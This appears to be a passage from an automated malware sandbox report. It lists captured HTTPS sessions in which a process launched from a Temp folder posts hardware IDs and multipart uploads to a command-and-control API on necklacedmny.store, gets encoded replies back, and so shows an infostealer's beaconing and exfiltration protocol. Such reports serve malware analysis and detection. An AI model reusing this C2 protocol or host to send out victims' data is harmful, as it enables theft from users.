2024-11-01 11:14:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 11:14:44 UTC	1007	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4gol01nkh6nc0ic9lree8unsmm; expires=Tue, 25-Feb-2025 05:01:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gNYPDvNGG1KoCKvFsjEYsUo8phkIsQz5gKE5IcE7jjM8Zt2cQc88ISCcgR63Hz4gC75j3zJcJQm9oxHtKbO4LI3TkE29SfTlxh58PYzXBWBUv26v7IZ82vvhTXJLldaH9EEgbxQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb76816b026b70-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1076&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2632727&cwnd=251&unsent_bytes=0&cid=f4b7caaecf2139e4&ts=525&x=0"
2024-11-01 11:14:44 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 11:14:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49983	188.114.97.3	443	5640	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:14:45 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 11:14:45 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 11:14:45 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tid1s2gp2g3o1fkki3k1k9vl1f; expires=Tue, 25-Feb-2025 05:01:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QF2GzA%2Bh%2FQZVN%2BEc7L22CTfq209ryvFipxUIkcNJAEcSllEnW7YvuDWxP9CPBAS4lsHYRmdDgLdLkC4KbE5zXRLew6jwxda67W6luxYw4cxN8IHfG%2FOV%2FL4PPDpbteHSB9YvdKg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb7688deda2fd8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1343&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2137269&cwnd=251&unsent_bytes=0&cid=bb39feaf747a8ef6&ts=502&x=0"
2024-11-01 11:14:45 UTC	352	IN	Data Raw: 34 64 61 0d 0a 4e 32 4b 6d 69 64 52 44 35 46 70 70 6a 72 5a 39 48 73 42 4e 62 34 36 6c 51 69 34 79 49 42 79 74 2f 35 6a 4c 2f 6e 77 4e 6f 6b 56 4d 51 4e 43 72 37 6e 66 49 65 42 72 72 6c 45 64 71 73 6a 67 4b 6f 6f 63 6a 53 68 41 61 65 73 79 54 36 36 37 53 58 6e 76 50 5a 77 30 45 78 2b 57 6e 4a 73 68 34 44 50 61 55 52 30 57 37 62 77 72 67 68 33 67 4d 56 30 70 2b 7a 4a 50 36 71 70 55 54 66 63 34 6d 58 77 37 42 34 62 45 67 67 44 73 46 34 39 4d 59 65 36 45 6e 41 65 66 49 4b 6b 4d 51 44 44 37 49 68 62 72 78 33 44 46 6f 31 69 52 36 41 39 58 69 39 6a 37 49 49 55 76 72 32 46 38 6b 34 69 77 4b 37 4d 6b 6b 53 6c 6c 49 64 4d 57 62 2b 36 2b 55 44 47 54 45 4c 56 38 41 77 75 43 37 4b 5a 51 32 44 2b 54 59 48 6e 47 68 62 30 4f 73 77 44 67 4d 43 41 49 74 2f 5a 37 72 75 49 Data Ascii: 4daN2KmidRD5FppjrZ9HsBNb46lQi4yIByt/5jL/nwNokVMQNCr7nfIeBrrlEdqsjgKoocjShAaesyT667SXnvPZw0Ex+WnJsh4DPaUR0W7bwrgh3gMV0p+zJP6qpUTfc4mXw7B4bEggDsF49MYe6EnAefIKkMQDD7Ihbrx3DFo1iR6A9Xi9j7IIUvr2F8k4iwK7MkkSllIdMWb+6+UDGTELV8AwuC7KZQ2D+TYHnGhb0OswDgMCAIt/Z7ruI
2024-11-01 11:14:45 UTC	897	IN	Data Raw: 33 4c 49 59 71 41 2b 66 66 47 6d 36 70 4a 67 44 68 78 79 31 47 58 30 46 2b 79 4a 66 77 70 70 59 61 59 73 30 68 56 51 43 45 70 66 59 6d 6e 6e 68 54 72 50 63 61 62 4b 55 6a 47 36 37 39 59 46 4d 65 57 7a 37 49 6b 62 72 78 33 42 5a 71 77 79 52 65 44 38 66 6a 76 54 4f 47 4b 67 33 68 30 51 31 36 70 79 45 48 37 39 55 71 51 6c 5a 42 64 38 53 55 2f 36 36 59 58 69 47 41 49 45 31 41 6e 4b 75 58 4c 49 30 30 41 66 76 55 58 32 50 73 4e 6b 33 72 79 32 41 55 45 45 5a 2f 79 35 7a 2b 70 35 49 61 59 38 59 70 57 41 2f 43 34 62 59 6d 6a 44 41 44 37 64 6b 55 63 36 49 71 41 4f 6a 42 4c 45 31 56 41 6a 43 50 6d 75 4c 70 78 46 35 42 78 79 52 48 51 76 48 6f 75 43 2b 42 4c 6b 76 7a 6d 67 59 38 70 53 4e 4e 74 49 63 75 53 56 39 51 66 39 32 59 39 4c 75 51 47 32 6e 4e 4a 46 73 41 77 65 Data Ascii: 3LIYqA+ffGm6pJgDhxy1GX0F+yJfwppYaYs0hVQCEpfYmnnhTrPcabKUjG679YFMeWz7Ikbrx3BZqwyReD8fjvTOGKg3h0Q16pyEH79UqQlZBd8SU/66YXiGAIE1AnKuXLI00AfvUX2PsNk3ry2AUEEZ/y5z+p5IaY8YpWA/C4bYmjDAD7dkUc6IqAOjBLE1VAjCPmuLpxF5BxyRHQvHouC+BLkvzmgY8pSNNtIcuSV9Qf92Y9LuQG2nNJFsAwe
2024-11-01 11:14:45 UTC	1369	IN	Data Raw: 33 66 39 32 0d 0a 2b 79 4c 49 6b 78 41 75 58 47 46 58 43 73 50 51 44 6d 77 69 35 41 56 55 31 2b 7a 70 7a 30 6f 35 64 65 49 59 41 67 54 55 43 63 71 35 6b 73 6c 69 6f 42 35 38 56 64 53 61 45 68 41 2b 76 52 59 46 4d 65 57 7a 37 49 6b 62 72 78 33 42 56 70 7a 43 74 56 42 74 62 6c 75 54 4f 4d 4b 67 2f 69 30 42 4e 79 71 79 49 43 36 64 55 6b 54 45 4a 44 65 38 69 54 39 37 75 5a 58 69 47 41 49 45 31 41 6e 4b 75 4d 46 59 45 6f 47 75 75 57 4b 6e 2b 73 49 51 72 36 68 7a 38 43 53 51 4a 35 77 39 32 69 36 5a 38 53 59 73 6b 69 57 68 4c 4f 35 37 63 7a 67 54 45 43 35 74 55 52 63 36 6b 6a 43 50 37 4d 4c 30 52 66 51 33 50 43 6c 76 36 70 33 46 41 76 78 7a 38 56 57 49 54 4b 75 79 36 55 4f 78 71 75 34 52 78 79 72 43 67 62 72 4e 68 75 56 52 42 46 63 6f 2f 46 75 71 69 51 45 6d 37 Data Ascii: 3f92+yLIkxAuXGFXCsPQDmwi5AVU1+zpz0o5deIYAgTUCcq5kslioB58VdSaEhA+vRYFMeWz7Ikbrx3BVpzCtVBtbluTOMKg/i0BNyqyIC6dUkTEJDe8iT97uZXiGAIE1AnKuMFYEoGuuWKn+sIQr6hz8CSQJ5w92i6Z8SYskiWhLO57czgTEC5tURc6kjCP7ML0RfQ3PClv6p3FAvxz8VWITKuy6UOxqu4RxyrCgbrNhuVRBFco/FuqiQEm7
2024-11-01 11:14:45 UTC	1369	IN	Data Raw: 38 50 67 76 53 57 43 4f 41 62 6e 32 68 46 31 72 69 63 42 36 39 55 74 53 56 68 49 64 38 71 52 39 36 71 4f 48 57 36 41 61 52 55 48 33 4b 76 75 59 61 45 4c 50 4d 2b 55 41 44 4b 37 62 77 72 67 68 33 67 4d 55 55 70 35 77 5a 6e 6f 70 34 34 51 61 4d 41 68 58 51 6a 44 35 37 67 76 6c 44 41 4b 37 4e 6f 51 64 4b 73 72 44 4f 6a 44 4c 45 73 51 44 44 37 49 68 62 72 78 33 44 5a 73 32 6a 30 58 4c 73 2f 72 73 54 47 51 49 30 76 7a 6d 67 59 38 70 53 4e 4e 74 49 63 6b 52 31 70 4c 66 63 61 5a 39 36 6d 56 45 57 62 49 4b 6c 30 53 78 65 47 6b 4a 59 4d 35 42 4f 62 51 46 33 43 74 49 77 6e 2b 7a 47 41 43 45 45 56 6d 6a 38 57 36 69 5a 63 49 54 4e 49 31 46 52 2b 4b 38 76 59 6d 69 6e 68 54 72 4e 30 54 66 61 4d 6c 43 2b 66 43 4c 55 78 56 53 48 6e 44 6e 66 71 71 6d 68 68 69 79 43 39 5a Data Ascii: 8PgvSWCOAbn2hF1ricB69UtSVhId8qR96qOHW6AaRUH3KvuYaELPM+UADK7bwrgh3gMUUp5wZnop44QaMAhXQjD57gvlDAK7NoQdKsrDOjDLEsQDD7Ihbrx3DZs2j0XLs/rsTGQI0vzmgY8pSNNtIckR1pLfcaZ96mVEWbIKl0SxeGkJYM5BObQF3CtIwn+zGACEEVmj8W6iZcITNI1FR+K8vYminhTrN0TfaMlC+fCLUxVSHnDnfqqmhhiyC9Z
2024-11-01 11:14:45 UTC	1369	IN	Data Raw: 6b 6b 6a 6a 4d 4e 34 74 55 5a 63 4b 39 76 51 36 7a 41 4f 41 77 49 41 6c 6e 56 6b 50 79 2b 6a 53 74 6f 77 48 59 56 48 34 72 79 39 69 61 4b 65 46 4f 73 32 52 4e 32 72 79 6f 4a 35 4d 41 6a 54 56 78 47 63 38 4b 5a 38 36 32 5a 44 48 33 47 4b 56 55 50 79 75 53 36 4d 34 67 39 43 2b 43 55 55 54 79 6c 4e 30 32 30 68 78 46 62 55 41 4a 68 67 59 53 36 72 70 42 65 4e 34 41 6f 57 42 4c 49 35 4c 59 67 68 54 77 41 36 39 49 5a 66 61 45 71 44 75 6e 42 49 55 78 63 53 48 6e 48 6c 2f 53 6b 6d 68 70 70 78 6d 63 62 51 4d 50 7a 39 6e 6e 47 43 67 62 69 33 52 78 36 72 7a 6b 6c 33 59 63 2f 41 6b 6b 43 65 63 50 64 6f 75 6d 59 46 57 66 4d 49 6c 30 46 78 65 4f 38 4b 59 6b 33 47 65 33 62 46 6e 75 70 49 67 4c 69 77 69 35 65 56 30 6c 31 78 35 54 30 72 39 78 51 4c 38 63 2f 46 56 69 45 33 Data Ascii: kkjjMN4tUZcK9vQ6zAOAwIAlnVkPy+jStowHYVH4ry9iaKeFOs2RN2ryoJ5MAjTVxGc8KZ862ZDH3GKVUPyuS6M4g9C+CUUTylN020hxFbUAJhgYS6rpBeN4AoWBLI5LYghTwA69IZfaEqDunBIUxcSHnHl/SkmhppxmcbQMPz9nnGCgbi3Rx6rzkl3Yc/AkkCecPdoumYFWfMIl0FxeO8KYk3Ge3bFnupIgLiwi5eV0l1x5T0r9xQL8c/FViE3
2024-11-01 11:14:45 UTC	1369	IN	Data Raw: 2f 41 2b 6a 61 44 58 32 74 62 30 4f 73 77 44 67 4d 43 41 4a 50 32 5a 72 39 70 74 34 33 61 4e 73 6d 58 77 50 50 35 2f 59 2b 79 43 46 4c 36 39 68 66 4a 4f 49 69 41 65 48 44 4d 6b 42 51 51 6e 66 49 6c 2b 69 6d 6b 78 4e 73 77 43 4a 48 41 64 62 6b 76 53 53 46 50 41 54 6a 32 42 64 32 34 6d 46 4e 36 39 39 67 46 42 42 75 66 64 36 58 75 49 36 47 43 47 6a 4d 4e 6c 34 4e 79 4b 75 70 62 35 39 34 44 4f 43 55 52 7a 79 69 4c 67 44 2b 77 69 46 47 57 6b 39 32 77 4a 6a 2f 70 70 67 61 5a 4d 34 31 57 77 2f 45 37 62 30 67 67 7a 73 41 35 74 6f 57 62 75 4a 68 54 65 76 66 59 42 51 51 61 47 58 4f 6b 50 62 72 73 68 56 35 78 32 56 30 44 73 2f 73 75 6a 66 47 4a 30 58 31 6c 42 68 77 34 6e 64 4e 35 63 6b 73 54 31 64 4b 64 73 71 64 38 61 6d 54 46 47 48 48 4e 56 38 4d 7a 76 6d 35 49 6f Data Ascii: /A+jaDX2tb0OswDgMCAJP2Zr9pt43aNsmXwPP5/Y+yCFL69hfJOIiAeHDMkBQQnfIl+imkxNswCJHAdbkvSSFPATj2Bd24mFN699gFBBufd6XuI6GCGjMNl4NyKupb594DOCURzyiLgD+wiFGWk92wJj/ppgaZM41Ww/E7b0ggzsA5toWbuJhTevfYBQQaGXOkPbrshV5x2V0Ds/sujfGJ0X1lBhw4ndN5cksT1dKdsqd8amTFGHHNV8Mzvm5Io
2024-11-01 11:14:45 UTC	1369	IN	Data Raw: 6d 67 59 38 70 53 4e 4e 74 49 63 67 53 46 78 42 65 63 47 53 39 36 61 62 46 57 44 4b 4b 55 63 50 77 65 4f 36 4b 59 73 71 41 65 62 47 46 6e 57 76 49 51 58 2b 78 47 41 43 45 45 56 6d 6a 38 57 36 6d 35 59 64 59 39 59 71 57 6b 44 62 70 61 39 68 67 54 52 4c 74 4a 51 4e 62 71 49 6b 44 65 76 4a 4d 6b 31 59 54 58 54 50 6d 2f 47 6a 6e 78 64 72 7a 69 35 54 41 63 6e 71 74 79 47 44 4f 41 4c 2b 32 56 38 79 34 69 67 56 72 4a 39 67 65 31 78 4a 54 38 79 4c 75 72 62 53 42 79 2f 48 4b 78 56 59 68 4f 71 6b 4c 49 34 38 43 2b 48 53 46 48 32 6a 4c 41 33 73 78 43 42 4a 57 30 31 34 79 4a 44 77 6f 4a 55 4d 5a 38 51 31 56 51 7a 41 71 2f 68 68 67 53 42 4c 74 4a 51 76 66 36 6b 6a 44 65 48 53 59 46 4d 65 57 7a 37 49 6b 62 72 78 33 42 5a 6b 79 79 46 65 41 38 66 6c 76 53 75 4a 4e 77 48 Data Ascii: mgY8pSNNtIcgSFxBecGS96abFWDKKUcPweO6KYsqAebGFnWvIQX+xGACEEVmj8W6m5YdY9YqWkDbpa9hgTRLtJQNbqIkDevJMk1YTXTPm/Gjnxdrzi5TAcnqtyGDOAL+2V8y4igVrJ9ge1xJT8yLurbSBy/HKxVYhOqkLI48C+HSFH2jLA3sxCBJW014yJDwoJUMZ8Q1VQzAq/hhgSBLtJQvf6kjDeHSYFMeWz7Ikbrx3BZkyyFeA8flvSuJNwH
2024-11-01 11:14:45 UTC	1369	IN	Data Raw: 71 4d 69 42 75 43 46 49 55 46 41 52 54 36 42 33 66 7a 70 78 45 34 68 67 43 4e 45 51 4a 79 37 35 48 72 54 61 31 79 38 68 67 41 79 75 32 38 62 72 4a 39 79 41 68 42 51 50 70 66 64 76 61 71 4f 44 47 6e 44 4d 56 5a 48 2b 74 57 57 4b 6f 6f 37 42 2b 33 54 58 7a 4c 69 49 45 32 30 2f 6d 42 50 51 6c 41 78 33 6f 76 33 75 5a 74 53 5a 39 45 71 57 55 43 4b 71 2f 6f 6c 6a 54 51 4f 36 38 52 51 62 72 49 6b 41 66 71 4c 4a 46 34 51 44 44 37 65 6c 76 57 37 6b 68 6b 67 30 54 46 59 45 4d 66 75 73 57 32 4f 4b 51 62 67 6c 46 45 38 74 79 51 42 36 73 6f 31 41 30 46 55 66 64 6d 61 74 71 47 4e 45 32 4f 41 47 42 74 41 33 4b 76 75 59 62 4d 37 42 65 4c 54 43 57 33 76 44 77 62 67 78 43 78 4e 56 77 49 77 6a 35 75 36 38 63 39 51 4c 38 51 32 46 56 69 55 75 65 31 30 31 57 39 62 76 73 74 52 Data Ascii: qMiBuCFIUFART6B3fzpxE4hgCNEQJy75HrTa1y8hgAyu28brJ9yAhBQPpfdvaqODGnDMVZH+tWWKoo7B+3TXzLiIE20/mBPQlAx3ov3uZtSZ9EqWUCKq/oljTQO68RQbrIkAfqLJF4QDD7elvW7khkg0TFYEMfusW2OKQbglFE8tyQB6so1A0FUfdmatqGNE2OAGBtA3KvuYbM7BeLTCW3vDwbgxCxNVwIwj5u68c9QL8Q2FViUue101W9bvstR
2024-11-01 11:14:45 UTC	1369	IN	Data Raw: 75 73 6e 33 4d 43 45 46 41 2b 6c 39 32 39 70 35 45 66 62 4d 34 6b 52 78 4c 43 36 4b 41 69 77 51 59 31 79 64 6b 53 65 61 77 6f 4d 39 4c 6d 4b 6c 78 64 54 58 6e 78 6f 38 32 34 6d 77 34 74 35 69 52 44 41 34 53 6c 39 6a 6e 47 59 45 76 4e 33 67 39 78 72 53 68 4e 6f 6f 63 6b 44 41 67 43 57 38 4b 51 2f 36 65 62 58 45 37 4b 4e 31 67 50 77 36 76 34 59 59 70 34 55 36 7a 56 46 57 79 76 49 41 71 67 77 44 70 4c 45 41 77 2b 77 64 32 69 36 5a 30 55 66 38 30 6f 55 6b 7a 43 35 62 68 68 6d 58 59 53 72 4d 4a 66 4a 50 46 68 54 66 36 48 65 41 77 58 54 48 50 4f 6e 76 53 71 6a 67 78 70 77 7a 46 57 52 2f 72 56 6b 79 79 4c 50 51 58 72 36 69 46 64 71 44 38 41 34 38 42 69 62 46 64 55 66 66 47 6a 7a 62 69 62 44 69 33 6d 4a 45 4d 44 68 4b 58 32 4f 63 5a 67 53 38 33 65 44 33 47 74 4b Data Ascii: usn3MCEFA+l929p5EfbM4kRxLC6KAiwQY1ydkSeawoM9LmKlxdTXnxo824mw4t5iRDA4Sl9jnGYEvN3g9xrShNoockDAgCW8KQ/6ebXE7KN1gPw6v4YYp4U6zVFWyvIAqgwDpLEAw+wd2i6Z0Uf80oUkzC5bhhmXYSrMJfJPFhTf6HeAwXTHPOnvSqjgxpwzFWR/rVkyyLPQXr6iFdqD8A48BibFdUffGjzbibDi3mJEMDhKX2OcZgS83eD3GtK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49984	188.114.97.3	443	5640	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:14:47 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-11-01 11:14:47 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:14:48 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f9grmrdc9mvbjdha2es4lflj7v; expires=Tue, 25-Feb-2025 05:01:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5nvTJLeQiSWAsPE%2FvLAZtR8XsuAEbBsdYTUgkT8l5VVFcDjIIpIh3Ch0wOV%2BPhUFTqS%2FStCO5ycU783zX223BvVr9DkanYjOOgP%2BzUUeCxbaK8ec1wctkLJX%2BlD7usjKnpQ0uiA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb76976e56477b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1215&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13791&delivery_rate=2411323&cwnd=251&unsent_bytes=0&cid=e8721ab46c4646f5&ts=563&x=0"
2024-11-01 11:14:48 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:14:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49987	188.114.97.3	443	5640	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:14:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-11-01 11:14:49 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:14:49 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qrqdtuhqid94ml1d8surmcaol0; expires=Tue, 25-Feb-2025 05:01:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q4DHfRwbCI9vcnQhs6axLSqxhBa1cInGMQ6xPxZXrQ%2FMLYr7FXp19ZELsbk3SaxoVdk4UPxP0SmKjFVTkKxWbZkpJznrnwbUIi5VigSLw7aSotuzDaEhSrzyckq8D08Pcn6oQWk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb76a24b44461a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1972&sent=17&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16023&delivery_rate=1341361&cwnd=227&unsent_bytes=0&cid=c0fb3b814d3f5d86&ts=736&x=0"
2024-11-01 11:14:49 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:14:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49989	188.114.97.3	443	5640	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:14:51 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-11-01 11:14:51 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:14:51 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: 